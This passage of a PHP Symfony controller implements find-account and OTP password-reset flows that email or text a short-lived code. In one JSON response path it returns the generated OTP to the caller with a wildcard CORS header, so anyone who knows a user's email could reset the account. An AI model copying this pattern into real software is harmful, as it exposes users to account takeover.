  8391.         $errorField '';
  8392.         $message '';
  8393.         $userType '';
  8394.         $otpExpireSecond 180;
  8395.         $otpExpireTs 0;
  8396.         $otp '';
  8397.         if ($encData != '')
  8398.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  8399. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  8400.         $userCategory '_BUDDYBEE_USER_';
  8401.         if (isset($encryptedData['userCategory']))
  8402.             $userCategory $encryptedData['userCategory'];
  8403.         else
  8404.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  8405.         $em $this->getDoctrine()->getManager('company_group');
  8406.         $em_goc $this->getDoctrine()->getManager('company_group');
  8407.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  8408.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  8409.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8410.         $twigData = [];
  8411.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  8412.         $email_address $request->request->get('email''');
  8413.         $email_twig_data = [];
  8414.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  8415.         if ($request->isMethod('POST')) {
  8416.             //set an otp and its expire and send mail
  8417.             $email_address $request->request->get('email');
  8418.             $userObj null;
  8419.             $userData = [];
  8420.             if ($systemType == '_ERP_') {
  8421.                 if ($userCategory == '_APPLICANT_') {
  8422.                     $userType UserConstants::USER_TYPE_APPLICANT;
  8423.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8424.                         array(
  8425.                             'email' => $email_address
  8426.                         )
  8427.                     );
  8428.                     if ($userObj) {
  8429.                     } else {
  8430.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8431.                             array(
  8432.                                 'oAuthEmail' => $email_address
  8433.                             )
  8434.                         );
  8435.                         if ($userObj) {
  8436.                         } else {
  8437.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8438.                                 array(
  8439.                                     'username' => $email_address
  8440.                                 )
  8441.                             );
  8442.                         }
  8443.                     }
  8444.                     if ($userObj) {
  8445.                         $email_address $userObj->getEmail();
  8446.                         if ($email_address == null || $email_address == '')
  8447.                             $email_address $userObj->getOAuthEmail();
  8448.                     }
  8449. //                    triggerResetPassword:
  8450. //                    type: integer
  8451. //                          nullable: true
  8452.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8453.                     $otp $otpData['otp'];
  8454.                     $otpExpireTs $otpData['expireTs'];
  8455.                     $userObj->setOtp($otpData['otp']);
  8456.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_CONFIRM_EMAIL);
  8457.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8458.                     $em_goc->flush();
  8459.                     $userData = array(
  8460.                         'id' => $userObj->getApplicantId(),
  8461.                         'email' => $email_address,
  8462.                         'appId' => 0,
  8463. //                        'appId'=>$userObj->getUserAppId(),
  8464.                     );
  8465.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8466.                     $email_twig_data = [
  8467.                         'page_title' => 'Find Account',
  8468.                         'encryptedData' => $encryptedData,
  8469.                         'message' => $message,
  8470.                         'userType' => $userType,
  8471.                         'errorField' => $errorField,
  8472.                         'otp' => $otpData['otp'],
  8473.                         'otpExpireSecond' => $otpExpireSecond,
  8474.                         'otpActionId' => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8475.                         'otpExpireTs' => $otpData['expireTs'],
  8476.                         'systemType' => $systemType,
  8477.                         'userData' => $userData
  8478.                     ];
  8479.                     if ($userObj)
  8480.                         $email_twig_data['success'] = true;
  8481.                 } else {
  8482.                     $userType UserConstants::USER_TYPE_GENERAL;
  8483.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8484.                     $email_twig_data = [
  8485.                         'page_title' => 'Find Account',
  8486.                         'encryptedData' => $encryptedData,
  8487.                         'message' => $message,
  8488.                         'userType' => $userType,
  8489.                         'errorField' => $errorField,
  8490.                     ];
  8491.                 }
  8492.             } else if ($systemType == '_CENTRAL_') {
  8493.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8494.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8495.                     array(
  8496.                         'email' => $email_address
  8497.                     )
  8498.                 );
  8499.                 if ($userObj) {
  8500.                 } else {
  8501.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8502.                         array(
  8503.                             'oAuthEmail' => $email_address
  8504.                         )
  8505.                     );
  8506.                     if ($userObj) {
  8507.                     } else {
  8508.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8509.                             array(
  8510.                                 'username' => $email_address
  8511.                             )
  8512.                         );
  8513.                     }
  8514.                 }
  8515.                 if ($userObj) {
  8516.                     $email_address $userObj->getEmail();
  8517.                     if ($email_address == null || $email_address == '')
  8518.                         $email_address $userObj->getOAuthEmail();
  8519.                     //                    triggerResetPassword:
  8520. //                    type: integer
  8521. //                          nullable: true
  8522.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8523.                     $otp $otpData['otp'];
  8524.                     $otpExpireTs $otpData['expireTs'];
  8525.                     $userObj->setOtp($otpData['otp']);
  8526.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_CONFIRM_EMAIL);
  8527.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8528.                     $em_goc->flush();
  8529.                     $userData = array(
  8530.                         'id' => $userObj->getApplicantId(),
  8531.                         'email' => $email_address,
  8532.                         'appId' => 0,
  8533.                         'image' => $userObj->getImage(),
  8534.                         'firstName' => $userObj->getFirstname(),
  8535.                         'lastName' => $userObj->getLastname(),
  8536.                         'phone' => $userObj->getPhone(),
  8537. //                        'appId'=>$userObj->getUserAppId(),
  8538.                     );
  8539.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8540.                     $email_twig_data = [
  8541.                         'page_title' => 'Find Account',
  8542.                         'encryptedData' => $encryptedData,
  8543.                         'message' => $message,
  8544.                         'userType' => $userType,
  8545.                         'errorField' => $errorField,
  8546.                         'otp' => $otpData['otp'],
  8547.                         'otpExpireSecond' => $otpExpireSecond,
  8548.                         'otpActionId' => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8549.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_CONFIRM_EMAIL]['actionTitle'],
  8550.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_CONFIRM_EMAIL]['actionDescForMail'],
  8551.                         'otpExpireTs' => $otpData['expireTs'],
  8552.                         'systemType' => $systemType,
  8553.                         'userCategory' => $userCategory,
  8554.                         'userData' => $userData
  8555.                     ];
  8556.                     $email_twig_data['success'] = true;
  8557.                 } else {
  8558.                     $message "Oops! Could not find your account";
  8559.                     $email_twig_data['success'] = false;
  8560.                 }
  8561.             } else if ($systemType == '_BUDDYBEE_') {
  8562.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8563.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8564.                     array(
  8565.                         'email' => $email_address
  8566.                     )
  8567.                 );
  8568.                 if ($userObj) {
  8569.                 } else {
  8570.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8571.                         array(
  8572.                             'oAuthEmail' => $email_address
  8573.                         )
  8574.                     );
  8575.                     if ($userObj) {
  8576.                     } else {
  8577.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8578.                             array(
  8579.                                 'username' => $email_address
  8580.                             )
  8581.                         );
  8582.                     }
  8583.                 }
  8584.                 if ($userObj) {
  8585.                     $email_address $userObj->getEmail();
  8586.                     if ($email_address == null || $email_address == '')
  8587.                         $email_address $userObj->getOAuthEmail();
  8588.                     //                    triggerResetPassword:
  8589. //                    type: integer
  8590. //                          nullable: true
  8591.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8592.                     $otp $otpData['otp'];
  8593.                     $otpExpireTs $otpData['expireTs'];
  8594.                     $userObj->setOtp($otpData['otp']);
  8595.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8596.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8597.                     $em_goc->flush();
  8598.                     $userData = array(
  8599.                         'id' => $userObj->getApplicantId(),
  8600.                         'email' => $email_address,
  8601.                         'appId' => 0,
  8602.                         'image' => $userObj->getImage(),
  8603.                         'firstName' => $userObj->getFirstname(),
  8604.                         'lastName' => $userObj->getLastname(),
  8605.                         'phone' => $userObj->getPhone(),
  8606. //                        'appId'=>$userObj->getUserAppId(),
  8607.                     );
  8608.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8609.                     $email_twig_data = [
  8610.                         'page_title' => 'Find Account',
  8611.                         'encryptedData' => $encryptedData,
  8612.                         'message' => $message,
  8613.                         'userType' => $userType,
  8614.                         'errorField' => $errorField,
  8615.                         'otp' => $otpData['otp'],
  8616.                         'otpExpireSecond' => $otpExpireSecond,
  8617.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8618.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8619.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8620.                         'otpExpireTs' => $otpData['expireTs'],
  8621.                         'systemType' => $systemType,
  8622.                         'userCategory' => $userCategory,
  8623.                         'userData' => $userData
  8624.                     ];
  8625.                     $email_twig_data['success'] = true;
  8626.                 } else {
  8627.                     $message "Oops! Could not find your account";
  8628.                     $email_twig_data['success'] = false;
  8629.                 }
  8630.             }
  8631.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8632.                 if ($systemType == '_BUDDYBEE_') {
  8633.                     $bodyHtml '';
  8634.                     $bodyTemplate $email_twig_file;
  8635.                     $bodyData $email_twig_data;
  8636.                     $attachments = [];
  8637.                     $forwardToMailAddress $email_address;
  8638. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8639.                     $new_mail $this->get('mail_module');
  8640.                     $new_mail->sendMyMail(array(
  8641.                         'senderHash' => '_CUSTOM_',
  8642.                         //                        'senderHash'=>'_CUSTOM_',
  8643.                         'forwardToMailAddress' => $forwardToMailAddress,
  8644.                         'subject' => 'Account Verification',
  8645. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8646.                         'attachments' => $attachments,
  8647.                         'toAddress' => $forwardToMailAddress,
  8648.                         'fromAddress' => \ApplicationBundle\Helper\MailerConfig::address(),
  8649.                         'userName' => \ApplicationBundle\Helper\MailerConfig::address(),
  8650.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8651.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8652.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8653. //                            'emailBody' => $bodyHtml,
  8654.                         'mailTemplate' => $bodyTemplate,
  8655.                         'templateData' => $bodyData,
  8656. //                        'embedCompanyImage' => 1,
  8657. //                        'companyId' => $companyId,
  8658. //                        'companyImagePath' => $company_data->getImage()
  8659.                     ));
  8660.                 } else if ($systemType == '_CENTRAL_') {
  8661.                     $bodyHtml '';
  8662.                     $bodyTemplate $email_twig_file;
  8663.                     $bodyData $email_twig_data;
  8664.                     $attachments = [];
  8665.                     $forwardToMailAddress $email_address;
  8666. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8667.                     $new_mail $this->get('mail_module');
  8668.                     $new_mail->sendMyMail(array(
  8669.                         'senderHash' => '_CUSTOM_',
  8670.                         //                        'senderHash'=>'_CUSTOM_',
  8671.                         'forwardToMailAddress' => $forwardToMailAddress,
  8672.                         'subject' => 'Account Verification',
  8673. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8674.                         'attachments' => $attachments,
  8675.                         'toAddress' => $forwardToMailAddress,
  8676.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8677.                         'userName' => 'accounts@ourhoneybee.eu',
  8678.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8679.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8680.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8681. //                            'emailBody' => $bodyHtml,
  8682.                         'mailTemplate' => $bodyTemplate,
  8683.                         'templateData' => $bodyData,
  8684. //                        'embedCompanyImage' => 1,
  8685. //                        'companyId' => $companyId,
  8686. //                        'companyImagePath' => $company_data->getImage()
  8687.                     ));
  8688.                 } else {
  8689.                     $bodyHtml '';
  8690.                     $bodyTemplate $email_twig_file;
  8691.                     $bodyData $email_twig_data;
  8692.                     $attachments = [];
  8693.                     $forwardToMailAddress $email_address;
  8694. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8695.                     $new_mail $this->get('mail_module');
  8696.                     $new_mail->sendMyMail(array(
  8697.                         'senderHash' => '_CUSTOM_',
  8698.                         //                        'senderHash'=>'_CUSTOM_',
  8699.                         'forwardToMailAddress' => $forwardToMailAddress,
  8700.                         'subject' => 'Applicant Registration on Honeybee',
  8701. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8702.                         'attachments' => $attachments,
  8703.                         'toAddress' => $forwardToMailAddress,
  8704.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8705.                         'userName' => 'accounts@ourhoneybee.eu',
  8706.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8707.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8708.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8709.                         'emailBody' => $bodyHtml,
  8710.                         'mailTemplate' => $bodyTemplate,
  8711.                         'templateData' => $bodyData,
  8712. //                        'embedCompanyImage' => 1,
  8713. //                        'companyId' => $companyId,
  8714. //                        'companyImagePath' => $company_data->getImage()
  8715.                     ));
  8716.                 }
  8717.             }
  8718.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  8719.                 if ($systemType == '_BUDDYBEE_') {
  8720.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  8721.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  8722.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  8723.                      _APPEND_CODE_';
  8724.                     $msg str_replace($searchVal$replaceVal$msg);
  8725.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  8726.                     $sendType 'all';
  8727.                     $socketUserIds = [];
  8728.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  8729.                 } else {
  8730.                 }
  8731.             }
  8732.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8733.                 $response = new JsonResponse(array(
  8734.                         'templateData' => $twigData,
  8735.                         'message' => $message,
  8736. //                        "otp"=>'',
  8737.                         "otp" => $otp,
  8738.                         "otpExpireTs" => $otpExpireTs,
  8739.                         'actionData' => $email_twig_data,
  8740.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8741.                     )
  8742.                 );
  8743.                 $response->headers->set('Access-Control-Allow-Origin''*');
  8744.                 return $response;
  8745.             } else if ($email_twig_data['success'] == true) {
  8746.                 $encData = array(
  8747.                     "userType" => $userType,
  8748.                     "otp" => '',
  8749. //                "otp"=>$otp,
  8750.                     "otpExpireTs" => $otpExpireTs,
  8751.                     "otpActionId" => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8752.                     "userCategory" => $userCategory,
  8753.                     "userId" => $userData['id'],
  8754.                     "systemType" => $systemType,
  8755.                     "email" => $email_address,
  8756.                 );
  8757.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  8758.                 $url $this->generateUrl(
  8759.                     'verify_otp'
  8760.                 );
  8761.                 return $this->redirect($url "/" $encDataStr);
  8762. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  8763. ////                    'encData'
  8764. ////                'id' => $isApplicantExist->getApplicantId(),
  8765. ////                'oAuthData' => $oAuthData,
  8766. ////                'refRoute' => $refRoute,
  8767. //                ]);
  8768.             }
  8769.         }
  8770.         if ($systemType == '_ERP_') {
  8771.             if ($userCategory == '_APPLICANT_') {
  8772.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8773.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8774.                 $twigData = [
  8775.                     'page_title' => 'Find Account',
  8776.                     'encryptedData' => $encryptedData,
  8777.                     'message' => $message,
  8778.                     'systemType' => $systemType,
  8779.                     'ownServerId' => $ownServerId,
  8780.                     'userType' => $userType,
  8781.                     'errorField' => $errorField,
  8782.                 ];
  8783.             } else {
  8784.                 $userType UserConstants::USER_TYPE_GENERAL;
  8785.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8786.                 $twigData = [
  8787.                     'page_title' => 'Find Account',
  8788.                     'encryptedData' => $encryptedData,
  8789.                     'systemType' => $systemType,
  8790.                     'ownServerId' => $ownServerId,
  8791.                     'message' => $message,
  8792.                     'userType' => $userType,
  8793.                     'errorField' => $errorField,
  8794.                 ];
  8795.             }
  8796.         } else if ($systemType == '_SOPHIA_') {
  8797.             $userType UserConstants::USER_TYPE_APPLICANT;
  8798.             $twig_file '@Sophia/pages/views/sophia_verify_email.html.twig';
  8799.             $twigData = [
  8800.                 'page_title' => 'Find Account',
  8801.                 'encryptedData' => $encryptedData,
  8802.                 'systemType' => $systemType,
  8803.                 'ownServerId' => $ownServerId,
  8804.                 "otp" => '',
  8805. //                "otp"=>$otp,
  8806.                 "otpExpireTs" => $otpExpireTs,
  8807.                 'message' => $message,
  8808.                 'userType' => $userType,
  8809.                 'errorField' => $errorField,
  8810.             ];
  8811.         } else if ($systemType == '_CENTRAL_') {
  8812.             $userType UserConstants::USER_TYPE_APPLICANT;
  8813.             $twig_file '@HoneybeeWeb/pages/verify_email.html.twig';
  8814.             $twigData = [
  8815.                 'page_title' => 'Find Account',
  8816.                 'encryptedData' => $encryptedData,
  8817.                 'systemType' => $systemType,
  8818.                 'ownServerId' => $ownServerId,
  8819.                 "otp" => '',
  8820. //                "otp"=>$otp,
  8821.                 "otpExpireTs" => $otpExpireTs,
  8822.                 'message' => $message,
  8823.                 'userType' => $userType,
  8824.                 'errorField' => $errorField,
  8825.             ];
  8826.         } else if ($systemType == '_BUDDYBEE_') {
  8827.             $userType UserConstants::USER_TYPE_APPLICANT;
  8828.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8829.             $twigData = [
  8830.                 'page_title' => 'Find Account',
  8831.                 'encryptedData' => $encryptedData,
  8832.                 "otp" => '',
  8833.                 'systemType' => $systemType,
  8834.                 'ownServerId' => $ownServerId,
  8835. //                "otp"=>$otp,
  8836.                 "otpExpireTs" => $otpExpireTs,
  8837.                 'message' => $message,
  8838.                 'userType' => $userType,
  8839.                 'errorField' => $errorField,
  8840.             ];
  8841.         }
  8842.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8843.             $response = new JsonResponse(array(
  8844.                     'templateData' => $twigData,
  8845.                     'message' => $message,
  8846.                     "otp" => '',
  8847. //                "otp"=>$otp,
  8848.                     "otpExpireTs" => $otpExpireTs,
  8849.                     'actionData' => $email_twig_data,
  8850.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8851.                 )
  8852.             );
  8853.             $response->headers->set('Access-Control-Allow-Origin''*');
  8854.             return $response;
  8855.         } else {
  8856.             return $this->render(
  8857.                 $twig_file,
  8858.                 $twigData
  8859.             );
  8860.         }
  8861.     }
  8862.     public function FindAccountForAppAction(Request $request$encData ''$remoteVerify 0)
  8863.     {
  8864. //        $userCategory=$request->request->has('userCategory');
  8865.         $encryptedData = [];
  8866.         $errorField '';
  8867.         $message '';
  8868.         $userType '';
  8869.         $otpExpireSecond 180;
  8870.         $otpExpireTs 0;
  8871.         $otp '';
  8872.         if ($encData != '')
  8873.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  8874. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  8875.         $userCategory '_BUDDYBEE_USER_';
  8876.         if (isset($encryptedData['userCategory']))
  8877.             $userCategory $encryptedData['userCategory'];
  8878.         else
  8879.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  8880.         $em $this->getDoctrine()->getManager('company_group');
  8881.         $em_goc $this->getDoctrine()->getManager('company_group');
  8882.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  8883.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  8884.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8885.         $twigData = [];
  8886.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  8887.         $email_address $request->request->get('email''');
  8888.         $email_twig_data = [];
  8889.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  8890.         if ($request->isMethod('POST')) {
  8891.             //set an otp and its expire and send mail
  8892.             $email_address $request->request->get('email');
  8893.             $userObj null;
  8894.             $userData = [];
  8895.             if ($systemType == '_ERP_') {
  8896.                 if ($userCategory == '_APPLICANT_') {
  8897.                     $userType UserConstants::USER_TYPE_APPLICANT;
  8898.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8899.                         array(
  8900.                             'email' => $email_address
  8901.                         )
  8902.                     );
  8903.                     if ($userObj) {
  8904.                     } else {
  8905.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8906.                             array(
  8907.                                 'oAuthEmail' => $email_address
  8908.                             )
  8909.                         );
  8910.                         if ($userObj) {
  8911.                         } else {
  8912.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8913.                                 array(
  8914.                                     'username' => $email_address
  8915.                                 )
  8916.                             );
  8917.                         }
  8918.                     }
  8919.                     if ($userObj) {
  8920.                         $email_address $userObj->getEmail();
  8921.                         if ($email_address == null || $email_address == '')
  8922.                             $email_address $userObj->getOAuthEmail();
  8923.                     }
  8924. //                    triggerResetPassword:
  8925. //                    type: integer
  8926. //                          nullable: true
  8927.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8928.                     $otp $otpData['otp'];
  8929.                     $otpExpireTs $otpData['expireTs'];
  8930.                     $userObj->setOtp($otpData['otp']);
  8931.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8932.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8933.                     $em_goc->flush();
  8934.                     $userData = array(
  8935.                         'id' => $userObj->getApplicantId(),
  8936.                         'email' => $email_address,
  8937.                         'appId' => 0,
  8938. //                        'appId'=>$userObj->getUserAppId(),
  8939.                     );
  8940.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8941.                     $email_twig_data = [
  8942.                         'page_title' => 'Find Account',
  8943.                         'encryptedData' => $encryptedData,
  8944.                         'message' => $message,
  8945.                         'userType' => $userType,
  8946.                         'errorField' => $errorField,
  8947.                         'otp' => $otpData['otp'],
  8948.                         'otpExpireSecond' => $otpExpireSecond,
  8949.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8950.                         'otpExpireTs' => $otpData['expireTs'],
  8951.                         'systemType' => $systemType,
  8952.                         'userData' => $userData
  8953.                     ];
  8954.                     if ($userObj)
  8955.                         $email_twig_data['success'] = true;
  8956.                 } else {
  8957.                     $userType UserConstants::USER_TYPE_GENERAL;
  8958.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8959.                     $email_twig_data = [
  8960.                         'page_title' => 'Find Account',
  8961.                         'encryptedData' => $encryptedData,
  8962.                         'message' => $message,
  8963.                         'userType' => $userType,
  8964.                         'errorField' => $errorField,
  8965.                     ];
  8966.                 }
  8967.             } else if ($systemType == '_CENTRAL_') {
  8968.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8969.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8970.                     array(
  8971.                         'email' => $email_address
  8972.                     )
  8973.                 );
  8974.                 if ($userObj) {
  8975.                 } else {
  8976.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8977.                         array(
  8978.                             'oAuthEmail' => $email_address
  8979.                         )
  8980.                     );
  8981.                     if ($userObj) {
  8982.                     } else {
  8983.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8984.                             array(
  8985.                                 'username' => $email_address
  8986.                             )
  8987.                         );
  8988.                     }
  8989.                 }
  8990.                 if ($userObj) {
  8991.                     $email_address $userObj->getEmail();
  8992.                     if ($email_address == null || $email_address == '')
  8993.                         $email_address $userObj->getOAuthEmail();
  8994.                     //                    triggerResetPassword:
  8995. //                    type: integer
  8996. //                          nullable: true
  8997.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8998.                     $otp $otpData['otp'];
  8999.                     $otpExpireTs $otpData['expireTs'];
  9000.                     $userObj->setOtp($otpData['otp']);
  9001.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  9002.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  9003.                     $em_goc->flush();
  9004.                     $userData = array(
  9005.                         'id' => $userObj->getApplicantId(),
  9006.                         'email' => $email_address,
  9007.                         'appId' => 0,
  9008.                         'image' => $userObj->getImage(),
  9009.                         'firstName' => $userObj->getFirstname(),
  9010.                         'lastName' => $userObj->getLastname(),
  9011.                         'phone' => $userObj->getPhone(),
  9012. //                        'appId'=>$userObj->getUserAppId(),
  9013.                     );
  9014.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  9015.                     $email_twig_data = [
  9016.                         'page_title' => 'Find Account',
  9017.                         'encryptedData' => $encryptedData,
  9018.                         'message' => $message,
  9019.                         'userType' => $userType,
  9020.                         'errorField' => $errorField,
  9021.                         'otp' => $otpData['otp'],
  9022.                         'otpExpireSecond' => $otpExpireSecond,
  9023.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9024.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  9025.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  9026.                         'otpExpireTs' => $otpData['expireTs'],
  9027.                         'systemType' => $systemType,
  9028.                         'userCategory' => $userCategory,
  9029.                         'userData' => $userData
  9030.                     ];
  9031.                     $email_twig_data['success'] = true;
  9032.                 } else {
  9033.                     $message "Oops! Could not find your account";
  9034.                     $email_twig_data['success'] = false;
  9035.                 }
  9036.             }
  9037.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  9038.                 if ($systemType == '_CENTRAL_') {
  9039.                     $bodyHtml '';
  9040.                     $bodyTemplate $email_twig_file;
  9041.                     $bodyData $email_twig_data;
  9042.                     $attachments = [];
  9043.                     $forwardToMailAddress $email_address;
  9044. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  9045.                     $new_mail $this->get('mail_module');
  9046.                     $new_mail->sendMyMail(array(
  9047.                         'senderHash' => '_CUSTOM_',
  9048.                         //                        'senderHash'=>'_CUSTOM_',
  9049.                         'forwardToMailAddress' => $forwardToMailAddress,
  9050.                         'subject' => 'Account Verification',
  9051. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  9052.                         'attachments' => $attachments,
  9053.                         'toAddress' => $forwardToMailAddress,
  9054.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  9055.                         'userName' => 'accounts@ourhoneybee.eu',
  9056.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  9057.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  9058.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  9059. //                            'emailBody' => $bodyHtml,
  9060.                         'mailTemplate' => $bodyTemplate,
  9061.                         'templateData' => $bodyData,
  9062. //                        'embedCompanyImage' => 1,
  9063. //                        'companyId' => $companyId,
  9064. //                        'companyImagePath' => $company_data->getImage()
  9065.                     ));
  9066.                 } else {
  9067.                     $bodyHtml '';
  9068.                     $bodyTemplate $email_twig_file;
  9069.                     $bodyData $email_twig_data;
  9070.                     $attachments = [];
